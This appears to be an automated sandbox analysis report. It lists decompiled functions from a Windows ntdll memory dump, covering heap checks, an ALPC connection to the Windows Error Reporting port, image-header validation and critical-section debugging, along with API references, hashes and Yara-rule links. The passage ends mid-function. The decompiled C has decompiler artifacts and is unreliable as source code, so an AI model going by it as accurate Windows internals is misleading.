HEAP: , xrefs: 6B5F255C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemory
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 216965414-3815128232
Opcode ID: 46a40a5d1ff74c004267398a0340ed75c2ce84ad9bd4a9a71a034490710644de
Instruction ID: a918064f0dc34ed1130278abffdc1cc5d71258c1609def0b70a85fba41350337
Opcode Fuzzy Hash: 46a40a5d1ff74c004267398a0340ed75c2ce84ad9bd4a9a71a034490710644de
Instruction Fuzzy Hash: 9C51D2B49442908AF360EA2AC8587F2F7E9DB45744F508CD9F8D58B285D2BFD847DE20

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D1570, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6B5D1570(intOrPtr __ecx, signed int __edx, void* __edi, void* __eflags) {
				signed int _v8;
				char _v36;
				void _v52;
				char _v56;
				char _v60;
				short _v64;
				char _v68;
				char _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				char _v100;
				int _v104;
				int _v108;
				int _v112;
				int _v116;
				int _v120;
				char _v124;
				void* _v132;
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t48;
				intOrPtr _t53;
				intOrPtr _t59;
				signed int _t61;
				signed int _t62;
				signed int* _t63;
				signed int* _t70;
				int _t73;
				signed int _t84;

				_t82 = __edi;
				_t81 = __edx;
				_v8 =  *0x6b63d360 ^ _t84;
				_t73 = 0;
				_v76 = __edx;
				_v80 = __ecx;
				_v60 = 0;
				_v56 = 0;
				_v68 = 0;
				_v64 = 0x500;
				_t48 = E6B5D16FA();
				_t83 = _t48;
				if(_t48 < 0) {
					L19:
					if(_v60 != 0) {
						_push(_v60);
						E6B5895D0();
					}
					return E6B58B640(_t83, _t73, _v8 ^ _t84, _t81, _t82, _t83);
				}
				_push(0);
				_push(8);
				_push( &_v100);
				_push(0x73);
				_t53 = E6B589860();
				_t83 = _t53;
				if(_t53 < 0) {
					goto L19;
				}
				_t83 = E6B5D176C(_v100);
				if(_t83 < 0) {
					goto L19;
				}
				_t92 = _t83 - 0x102;
				if(_t83 == 0x102) {
					goto L19;
				}
				RtlInitUnicodeString( &_v132, L"\\WindowsErrorReportingServicePort");
				memset( &_v52, 0, 0x2c);
				_v36 = 0x568;
				_push( &_v56);
				_t59 = E6B5D1879(0,  &_v68, __edi, _t83, _t92);
				_t83 = _t59;
				if(_t59 >= 0) {
					_t61 = _v96;
					_v124 = 0x18;
					_v120 = 0;
					_v112 = 0;
					_v116 = 0;
					_v108 = 0;
					_v104 = 0;
					if(_t61 != 0xffffffff) {
						_t81 = _t61 * 0xffffd8f0 >> 0x20;
						_t62 = _t61 * 0xffffd8f0;
						__eflags = _t62;
						_v92 = _t62;
						_t63 =  &_v92;
						_v88 = _t61 * 0xffffd8f0 >> 0x20;
					} else {
						_t73 = 1;
						_t63 = 0;
					}
					_push(_t63);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(_v56);
					_push(0x20000);
					_push( &_v52);
					_push( &_v124);
					_push( &_v132);
					_push( &_v60);
					_t83 = E6B589C70();
					if(_t83 >= 0 && _t83 != 0x102) {
						_v72 = 0x568;
						if(_t73 == 0) {
							_t70 =  &_v92;
						} else {
							_t70 = 0;
						}
						_t73 = _v76;
						_push(_t70);
						_push(0);
						_push( &_v72);
						_push(_t73);
						_push(0);
						_push(_v80);
						_push(0x20000);
						_push(_v60);
						_t83 = E6B589DA0();
						if(_t83 >= 0 && _t83 != 0x102) {
							_t83 =  *((intOrPtr*)(_t73 + 0x1c));
							if( *((intOrPtr*)(_t73 + 0x1c)) >= 0) {
								_t83 = 0;
							}
						}
					}
				}
				if(_v56 != 0) {
					E6B5D1AD6(_v56);
				}
				goto L19;
			}

0x6b5d1570
0x6b5d1570
0x6b5d1582
0x6b5d1586
0x6b5d1588
0x6b5d158c
0x6b5d158f
0x6b5d1592
0x6b5d1595
0x6b5d1598
0x6b5d159e
0x6b5d15a3
0x6b5d15a7
0x6b5d16da
0x6b5d16de
0x6b5d16e0
0x6b5d16e3
0x6b5d16e3
0x6b5d16f9
0x6b5d16f9
0x6b5d15ad
0x6b5d15ae
0x6b5d15b3
0x6b5d15b4
0x6b5d15b6
0x6b5d15bb
0x6b5d15bf
0x00000000
0x00000000
0x6b5d15cd
0x6b5d15d1
0x00000000
0x00000000
0x6b5d15d7
0x6b5d15dd
0x00000000
0x00000000
0x6b5d15ec
0x6b5d15f8
0x6b5d1600
0x6b5d160d
0x6b5d1611
0x6b5d1616
0x6b5d161a
0x6b5d1620
0x6b5d1623
0x6b5d162a
0x6b5d162d
0x6b5d1630
0x6b5d1633
0x6b5d1636
0x6b5d163c
0x6b5d1649
0x6b5d1649
0x6b5d1649
0x6b5d164b
0x6b5d164e
0x6b5d1651
0x6b5d163e
0x6b5d163e
0x6b5d1640
0x6b5d1640
0x6b5d1654
0x6b5d1657
0x6b5d1658
0x6b5d1659
0x6b5d165a
0x6b5d165b
0x6b5d1661
0x6b5d1666
0x6b5d166a
0x6b5d166e
0x6b5d1672
0x6b5d1678
0x6b5d167c
0x6b5d1686
0x6b5d168f
0x6b5d1695
0x6b5d1691
0x6b5d1691
0x6b5d1691
0x6b5d1698
0x6b5d169b
0x6b5d169c
0x6b5d16a1
0x6b5d16a2
0x6b5d16a3
0x6b5d16a5
0x6b5d16a8
0x6b5d16ad
0x6b5d16b5
0x6b5d16b9
0x6b5d16c3
0x6b5d16c8
0x6b5d16ca
0x6b5d16ca
0x6b5d16c8
0x6b5d16b9
0x6b5d167c
0x6b5d16d0
0x6b5d16d5
0x6b5d16d5
0x00000000

APIs

Part of subcall function 6B5D16FA: ZwQueryWnfStateNameInformation.1105(6B52FB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?,6B5D15A3,?,00000568), ref: 6B5D1718
Part of subcall function 6B5D16FA: ZwUpdateWnfStateData.1105(6B52FB74,00000000,00000000,00000000,00000000,00000000,00000000,6B52FB74,00000001,00000000,00000568,00000004,?,?,00000000), ref: 6B5D172D
Part of subcall function 6B5D16FA: EtwEventWriteNoRegistration.1105(6B52FB7C,?,00000000,00000000,6B52FB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?), ref: 6B5D174B

ZwQuerySystemInformation.1105(00000073,?,00000008,00000000,?,00000568), ref: 6B5D15B6

Part of subcall function 6B589860: LdrInitializeThunk.NTDLL(6B5D15BB,00000073,?,00000008,00000000,?,00000568), ref: 6B58986A

Part of subcall function 6B5D176C: ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6B5D17B5
Part of subcall function 6B5D176C: ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6B5D17E1
Part of subcall function 6B5D176C: ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6B5D17EB

RtlInitUnicodeString.1105(?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6B5D15EC
memset.1105(?,00000000,0000002C,?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6B5D15F8
ZwAlpcConnectPort.1105(?,?,00000018,?,00020000,?,00000000,00000000,00000000,00000000,?), ref: 6B5D1673
ZwAlpcSendWaitReceivePort.1105(?,00020000,?,00000000,?,00000568,00000000,?,?,?,00000018,?,00020000,?,00000000,00000000), ref: 6B5D16B0
ZwClose.1105(00000000,?,00000568), ref: 6B5D16E3

Strings

\WindowsErrorReportingServicePort, xrefs: 6B5D15E3

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AlpcCloseEventInformationPortQueryStateWait$ConnectDataInitInitializeNameObjectOpenReceiveRegistrationSendSingleStringSystemThunkUnicodeUpdateWritememset
String ID: \WindowsErrorReportingServicePort
API String ID: 360723211-589754893
Opcode ID: d7e5d5a9530897ece720852384209fe3a19256b9b8789c7ced470a7a7acdee71
Instruction ID: 97f5daaba58e31bebcecf313fc2d178e44ac944530bb9905333291e000810a9a
Opcode Fuzzy Hash: d7e5d5a9530897ece720852384209fe3a19256b9b8789c7ced470a7a7acdee71
Instruction Fuzzy Hash: 1B417171D0163CABFB11DFE9D881AEEBBB9BF44714F14022AE805AB250D7389D05CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6B55DD80, Relevance: 12.3, APIs: 8, Instructions: 337
nativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6B55DD80(void* __ecx, signed int __edx) {
				intOrPtr _v8;
				signed char _v13;
				void* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				long _v40;
				signed char _v44;
				signed int _v48;
				signed int _v52;
				void* __ebp;
				signed int _t111;
				signed char _t117;
				void* _t119;
				void* _t121;
				signed int _t123;
				signed int _t132;
				intOrPtr _t141;
				signed char _t142;
				signed int _t145;
				signed int _t149;
				signed int _t150;
				signed char _t151;
				signed int* _t157;
				signed int _t162;
				signed int _t165;
				signed char _t168;
				signed int _t169;
				void* _t172;
				signed char _t176;
				char _t178;
				signed int _t186;
				signed int _t187;
				signed int _t188;
				signed int _t195;
				signed int _t199;
				void* _t201;
				signed int* _t203;
				signed int _t207;
				signed int* _t208;
				void* _t213;

				_t186 = __edx;
				_v8 =  *((intOrPtr*)(_t213 + 4));
				_t203 = __edx;
				_v24 = 0;
				_t195 = __ecx;
				_v32 = __edx;
				_v20 = __ecx;
				 *((intOrPtr*)(__edx + 4)) = 0;
				 *((intOrPtr*)(__edx + 8)) = 0;
				if( *0x6b638474 != 3) {
					L16:
					_push(0);
					_push(0xc);
					_push( &_v52);
					_push(6);
					_push(_t195);
					_push(0xffffffff);
					if(E6B589730() < 0) {
						L66:
						_t165 = 0;
						_v20 = 0;
						L21:
						_t203[1] = _t165;
						if(_t165 == 0) {
							_t187 = _v24;
							L43:
							_t111 = _t187;
							L15:
							return _t111;
						}
						_v28 = 0;
						E6B55E9C0(1, _t165, 0, 0,  &_v28);
						if(( *(_v28 + 0x5e) & 0x00000400) != 0) {
							L56:
							_t188 = _t186 | 0xffffffff;
							_t111 = _t188;
							_t203[3] = _t195 | _t188;
							 *_t203 = _t188;
							goto L15;
						}
						E6B55E9C0(1, _v20, 0, 0,  &_v40);
						_t117 = _v20;
						_t195 = 0;
						_v13 = 1;
						_t168 = _t117;
						_v24 = _t168;
						_v32 = 0;
						_v36 = 0;
						if((_t117 & 0x00000003) != 0) {
							_v24 = _t168;
							_v13 =  !_t117 & 0x00000001;
						}
						_t119 = E6B55E9C0(1, _t168, 0, 0,  &_v32);
						_t169 = _v32;
						if(_t169 == 0) {
							L72:
							if(_t119 < 0) {
								goto L74;
							}
							_t186 = _v32;
						} else {
							_t132 =  *(_t169 + 0x18) & 0x0000ffff;
							_t186 = 0x10b;
							if(_t132 != 0x10b) {
								_t186 = 0x20b;
								if(_t132 != 0x20b) {
									L74:
									_t121 = RtlImageDirectoryEntryToData(_v20, 1, 0xe,  &_v40);
									if(_t121 == 0 || ( *(_t121 + 0x10) & 0x00000001) == 0) {
										_t187 = 0;
										L42:
										_t203[3] = 0;
										 *_t203 = _t187;
										goto L43;
									} else {
										goto L56;
									}
								}
								_t186 = _v13;
								_t119 = E6B542F47(_v24, _t186, 0xa,  &_v32, _t169,  &_v36);
								_t195 = _v36;
								goto L72;
							}
							if( *((intOrPtr*)(_t169 + 0x74)) <= 0xa) {
								goto L74;
							}
							_t195 =  *(_t169 + 0xc8);
							if(_t195 == 0) {
								goto L74;
							}
							_t186 =  *(_t169 + 0xcc);
							_v36 = _t186;
							if(_v13 == 0) {
								if(_t195 <  *((intOrPtr*)(_t169 + 0x54))) {
									goto L30;
								}
								_t195 = E6B583C00(_t169, _v24, _t195);
								if(_t195 == 0) {
									goto L74;
								}
								_t186 = _v36;
								L31:
								if(_t195 == 0 || _t186 == 0 || _t186 != 0x40 && _t186 !=  *_t195) {
									goto L74;
								} else {
									_t123 =  *(_v40 + 4) & 0x0000ffff;
									if(_t123 == 0x3a64 || _t123 == 0x14c) {
										if( *_t195 < 0x48) {
											goto L74;
										}
										_t186 =  *(_t195 + 0x40);
										if(_t186 == 0) {
											goto L74;
										}
										_t195 =  *(_t195 + 0x44);
										if(_t195 == 0) {
											goto L74;
										}
										_t172 = _v20;
										if(_t186 <  *((intOrPtr*)(_v28 + 0x54)) + _t172 || _t195 >  *((intOrPtr*)(_v28 + 0x50)) - _t186 + _t172 >> 2) {
											goto L56;
										} else {
											goto L42;
										}
									} else {
										goto L74;
									}
								}
							}
							L30:
							_t195 = _t195 + _v24;
						}
						goto L31;
					}
					_t165 = _v52;
					_v20 = _t165;
					if(_t165 == 0 || (_v44 & 0x00000003) != 0 || _t195 < _t165) {
						goto L66;
					} else {
						_t203[2] = _v48;
						goto L21;
					}
				}
				E6B56FAD0(0x6b638654);
				_t141 =  *0x6b63b350; // 0x1
				if(_t141 == 1) {
					L13:
					_t142 = 0x11;
					asm("lock cmpxchg [esi], ecx");
					_t176 = 0x11;
					if(0x11 != 0x11) {
						if(1 == 0) {
							L6B59DF30(0x11, _t186, 0xc0000264);
							L62:
							_t145 = _t176 & 0xfffffff0;
							_t186 =  *(_t145 + 4);
							if(_t186 != 0) {
								L64:
								asm("lock xadd [edx+0x10], eax");
								if((_t145 | 0xffffffff) - 1 > 0) {
									goto L14;
								}
								_v28 = 0xfffffff7;
								L50:
								_t199 = _v28;
								while(1) {
									_t149 = _t176 & 0x00000006;
									_v36 = _t149;
									if(_t149 != 2) {
										_t150 = _t199;
									} else {
										_t150 = _t199 + 4;
									}
									_t186 = _t176 + _t150;
									_t151 = _t176;
									asm("lock cmpxchg [edi], esi");
									_t199 = _v28;
									if(_t151 == _t176) {
										break;
									}
									_t176 = _t151;
								}
								_t195 = _v20;
								if(_v36 == 2) {
									_t186 = 0;
									E6B5800C2(0x6b638654, 0, 0);
								}
								goto L14;
							} else {
								goto L63;
							}
							do {
								L63:
								_t145 =  *_t145;
								_t186 =  *(_t145 + 4);
							} while (_t186 == 0);
							goto L64;
						}
						if(0 != 0) {
							L48:
							if((_t176 & 0x00000008) != 0) {
								goto L62;
							}
							_v28 = _t142 | 0xffffffff;
							goto L50;
						} else {
							goto L46;
						}
						while(1) {
							L46:
							_t75 = _t176 - 0x10; // 0x1
							asm("sbb edx, edx");
							_t186 =  ~((_t176 & 0xfffffff0) - 0x10) & _t75;
							_t142 = _t176;
							asm("lock cmpxchg [esi], edx");
							if(_t142 == _t176) {
								goto L14;
							}
							_t176 = _t142;
							if((_t142 & 0x00000002) == 0) {
								continue;
							}
							goto L48;
						}
					}
					L14:
					_t111 = _v24;
					if(_t111 == 0) {
						if( *0x6b63b35c == 0) {
							goto L15;
						}
						_t203 = _v32;
						goto L16;
					}
					goto L15;
				}
				_t178 = 1;
				_t8 = _t141 - 1; // 0x0
				_t201 = _t8;
				if(_t201 < 1) {
					L12:
					_t195 = _v20;
					goto L13;
				}
				do {
					_t186 = _t178 + _t201 >> 1;
					_t157 = (_t186 << 4) + 0x6b63b360;
					_t207 = _t157[1];
					if(_v20 < _t207) {
						if(_t186 == 0) {
							goto L12;
						}
						_t201 = _t186 - 1;
						goto L7;
					}
					if(_v20 < _t157[2] + _t207) {
						_t208 = _v32;
						 *_t208 =  *_t157;
						_t208[1] = _t157[1];
						_t208[2] = _t157[2];
						_t208[3] = _t157[3];
						_t186 =  *0x7ffe0330;
						asm("ror eax, cl");
						_t162 =  *_t208 ^ _t186;
						_v24 = _t162;
						 *_t208 = _t162;
						goto L12;
					}
					_t178 = _t186 + 1;
					L7:
				} while (_t201 >= _t178);
				goto L12;
			}

0x6b55dd80
0x6b55dd92
0x6b55dda3
0x6b55dda5
0x6b55ddad
0x6b55ddaf
0x6b55ddb2
0x6b55ddb5
0x6b55ddbc
0x6b55ddc3
0x6b55de8b
0x6b55de8b
0x6b55de8d
0x6b55de92
0x6b55de93
0x6b55de95
0x6b55de96
0x6b55de9f
0x6b5ab5c2
0x6b5ab5c2
0x6b5ab5c4
0x6b55decb
0x6b55decb
0x6b55ded0
0x6b5ab645
0x6b55e01e
0x6b55e01e
0x6b55de82
0x6b55de8a
0x6b55de8a
0x6b55ded9
0x6b55dee8
0x6b55def9
0x6b55e0b6
0x6b55e0b6
0x6b55e0bb
0x6b55e0bd
0x6b55e0c0
0x00000000
0x6b55e0c0
0x6b55df0d
0x6b55df12
0x6b55df15
0x6b55df17
0x6b55df1b
0x6b55df1d
0x6b55df20
0x6b55df27
0x6b55df2c
0x6b55df35
0x6b55df38
0x6b55df38
0x6b55df46
0x6b55df4b
0x6b55df50
0x6b5ab611
0x6b5ab613
0x00000000
0x00000000
0x6b5ab615
0x6b55df56
0x6b55df56
0x6b55df5a
0x6b55df62
0x6b5ab5ee
0x6b5ab5f6
0x6b5ab61d
0x6b5ab629
0x6b5ab630
0x6b5ab63c
0x6b55e019
0x6b55e019
0x6b55e01c
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5ab630
0x6b5ab5f8
0x6b5ab609
0x6b5ab60e
0x00000000
0x6b5ab60e
0x6b55df6c
0x00000000
0x00000000
0x6b55df72
0x6b55df7a
0x00000000
0x00000000
0x6b55df84
0x6b55df8a
0x6b55df8d
0x6b5ab5cf
0x00000000
0x00000000
0x6b5ab5e0
0x6b5ab5e4
0x00000000
0x00000000
0x6b5ab5e6
0x6b55df96
0x6b55df98
0x00000000
0x6b55dfb3
0x6b55dfbb
0x6b55dfc2
0x6b55dfd5
0x00000000
0x00000000
0x6b55dfdb
0x6b55dfe0
0x00000000
0x00000000
0x6b55dfe6
0x6b55dfeb
0x00000000
0x00000000
0x6b55dff4
0x6b55dffe
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b55dfc2
0x6b55df98
0x6b55df93
0x6b55df93
0x6b55df93
0x00000000
0x6b55df50
0x6b55dea5
0x6b55dea8
0x6b55dead
0x00000000
0x6b55dec5
0x6b55dec8
0x00000000
0x6b55dec8
0x6b55dead
0x6b55ddce
0x6b55ddd3
0x6b55dddb
0x6b55de5c
0x6b55de63
0x6b55de68
0x6b55de6c
0x6b55de71
0x6b55e028
0x6b5ab58b
0x6b5ab590
0x6b5ab592
0x6b5ab595
0x6b5ab59a
0x6b5ab5a5
0x6b5ab5a8
0x6b5ab5b0
0x00000000
0x00000000
0x6b5ab5b6
0x6b55e067
0x6b55e067
0x6b55e070
0x6b55e072
0x6b55e075
0x6b55e07b
0x6b55e0dc
0x6b55e07d
0x6b55e07d
0x6b55e07d
0x6b55e080
0x6b55e08a
0x6b55e08c
0x6b55e090
0x6b55e095
0x00000000
0x00000000
0x6b55e0e0
0x6b55e0e0
0x6b55e09b
0x6b55e09e
0x6b55e0a5
0x6b55e0ac
0x6b55e0ac
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5ab59c
0x6b5ab59c
0x6b5ab59c
0x6b5ab59e
0x6b5ab5a1
0x00000000
0x6b5ab59c
0x6b55e031
0x6b55e058
0x6b55e05b
0x00000000
0x00000000
0x6b55e064
0x00000000
0x00000000
0x00000000
0x00000000
0x6b55e033
0x6b55e033
0x6b55e035
0x6b55e040
0x6b55e042
0x6b55e044
0x6b55e046
0x6b55e04c
0x00000000
0x00000000
0x6b55e052
0x6b55e056
0x00000000
0x00000000
0x00000000
0x6b55e056
0x6b55e033
0x6b55de77
0x6b55de77
0x6b55de7c
0x6b55e0ce
0x00000000
0x00000000
0x6b55e0d4
0x00000000
0x6b55e0d4
0x00000000
0x6b55de7c
0x6b55dddd
0x6b55dde2
0x6b55dde2
0x6b55dde7
0x6b55de59
0x6b55de59
0x00000000
0x6b55de59
0x6b55ddf0
0x6b55ddf3
0x6b55ddfa
0x6b55ddff
0x6b55de05
0x6b55de1c
0x00000000
0x00000000
0x6b55de1e
0x00000000
0x6b55de1e
0x6b55de0f
0x6b55de25
0x6b55de28
0x6b55de2d
0x6b55de33
0x6b55de3e
0x6b55de41
0x6b55de50
0x6b55de52
0x6b55de54
0x6b55de57
0x00000000
0x6b55de57
0x6b55de11
0x6b55de14
0x6b55de14
0x00000000

APIs

RtlAcquireSRWLockShared.1105(6B638654,6B5917F0,00000000), ref: 6B55DDCE
ZwQueryVirtualMemory.1105(000000FF,000000FE,00000006,?,0000000C,00000000,6B5917F0,00000000), ref: 6B55DE98
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000,6B5917F0,00000000), ref: 6B55DEE8
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000), ref: 6B55DF0D
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,00000000,00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF), ref: 6B55DF46

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImage$AcquireLockMemoryQuerySharedVirtual
String ID:
API String ID: 114269737-0
Opcode ID: e0c5327fbb644cda881216869c8a59bbfa98014e15a9418207a837949d93216d
Instruction ID: eacdafde54d0fd8723b9e9117f5881ef2ffe3a0d2c55a610525b521d1412e0e8
Opcode Fuzzy Hash: e0c5327fbb644cda881216869c8a59bbfa98014e15a9418207a837949d93216d
Instruction Fuzzy Hash: 2DC1D672A0020A8FFB14CF58C840BEEB7F2EF85715F1485AED564AB290D738E951CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B603518, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6B603518(signed int* __ecx) {
				char _v8;
				void* _t11;
				signed int* _t34;

				_push(__ecx);
				_t34 = __ecx;
				if(__ecx !=  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
					if(E6B5440E1("RtlDestroyHeap") == 0 || E6B604496(__ecx, 0) == 0) {
						goto L5;
					} else {
						_t32 = __ecx + 0x80;
						 *((intOrPtr*)(__ecx + 0x60)) = 0;
						if( *((intOrPtr*)(__ecx + 0x80)) != 0) {
							_v8 = 0;
							E6B57174B(_t32,  &_v8, 0x8000);
						}
						_t11 = 1;
					}
				} else {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6B54B150("May not destroy the process heap at %p\n", _t34);
					L5:
					_t11 = 0;
				}
				return _t11;
			}

0x6b60351d
0x6b603525
0x6b60352a
0x6b60357d
0x00000000
0x6b60358c
0x6b60358e
0x6b603594
0x6b603599
0x6b60359b
0x6b6035a7
0x6b6035a7
0x6b6035ac
0x6b6035ac
0x6b60352c
0x6b603536
0x6b603555
0x6b60355a
0x6b603538
0x6b60354d
0x6b603552
0x6b603566
0x6b60356d
0x6b60356d
0x6b60356d
0x6b6035b2

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,00000000,?,?,6B59FC67), ref: 6B60354D
DbgPrint.1105(HEAP: ,00000000,?,?,6B59FC67), ref: 6B60355A
DbgPrint.1105(May not destroy the process heap at %p,?,00000000,?,?,6B59FC67), ref: 6B603566

Strings

May not destroy the process heap at %p, xrefs: 6B603561
RtlDestroyHeap, xrefs: 6B603571
HEAP[%wZ]: , xrefs: 6B603548
HEAP: , xrefs: 6B603555

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
API String ID: 3558298466-4256168463
Opcode ID: a51ec80e05a4fa12631911f571662a3777d6afaa9a3ffe80f0ec3ed4440b6062
Instruction ID: 57853855ece4bec24d2c2d584fc556024bf5412bdc83739bfc57caa73df94253
Opcode Fuzzy Hash: a51ec80e05a4fa12631911f571662a3777d6afaa9a3ffe80f0ec3ed4440b6062
Instruction Fuzzy Hash: 01014972110600DFE726DF798651FD673E9EB8A714F008495E8059B351DF3DED40C660

Uniqueness

Uniqueness Score: -1.00%

Function 6B5DFF10, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p,?,000000FF,?,6B6209B0,00000014,6B55EBD8,?,?,?,00000000,?,6B541E03,?), ref: 6B5DFF69
RtlDecodePointer.1105(6B6209B0,00000014,6B55EBD8,?,?,?,00000000,?,6B541E03,?,6B541D6E,?), ref: 6B5DFF78
RtlRaiseStatus.1105(C0000264,6B6209B0,00000014,6B55EBD8,?,?,?,00000000,?,6B541E03,?,6B541D6E,?), ref: 6B5DFF89
RtlDebugPrintTimes.1105(?,C0000264,6B6209B0,00000014,6B55EBD8,?,?,?,00000000,?,6B541E03,?,6B541D6E,?), ref: 6B5DFF9A
RtlpNotOwnerCriticalSection.1105 ref: 6B5DFFB1

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 6B5DFF60
PSck?, xrefs: 6B5DFF56, 6B5DFF5C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CriticalDebugDecodeOwnerPointerRaiseRtlpSectionStatusTimes
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p$PSck?
API String ID: 2675442896-1240532599
Opcode ID: 6a905bfcedec1d2242e12b36e76f45d9886778da3710912b70cd3d61813d3285
Instruction ID: 49dfa60c253f1b125905834cb2ec1d99bf36a6e5d009068f6b44e89ad15b5705
Opcode Fuzzy Hash: 6a905bfcedec1d2242e12b36e76f45d9886778da3710912b70cd3d61813d3285
Instruction Fuzzy Hash: AF11EDB1910288EFFB12EF60C946FD8B7B1FB48309F108194E5086B2A0C73D9940CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B54C600, Relevance: 12.2, APIs: 8, Instructions: 225
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E6B54C600(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				char _v1036;
				intOrPtr _v1040;
				char _v1048;
				intOrPtr _v1052;
				short _v1054;
				void* _v1056;
				void* _v1060;
				long* _v1064;
				char _v1068;
				long _v1076;
				intOrPtr _v1080;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t70;
				void* _t74;
				intOrPtr _t77;
				void* _t78;
				intOrPtr* _t81;
				void* _t101;
				void* _t102;
				void* _t107;
				intOrPtr _t109;
				long* _t110;
				long* _t111;
				long* _t112;
				long* _t113;
				intOrPtr _t114;
				intOrPtr _t116;
				void* _t117;
				intOrPtr _t118;
				void* _t120;
				long _t121;
				long _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x6b63d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E6B556D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E6B58B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t74 = RtlAllocateHeap(_t107,  *0x6b637b9c + 0x180000, _t121);
					_v1060 = _t74;
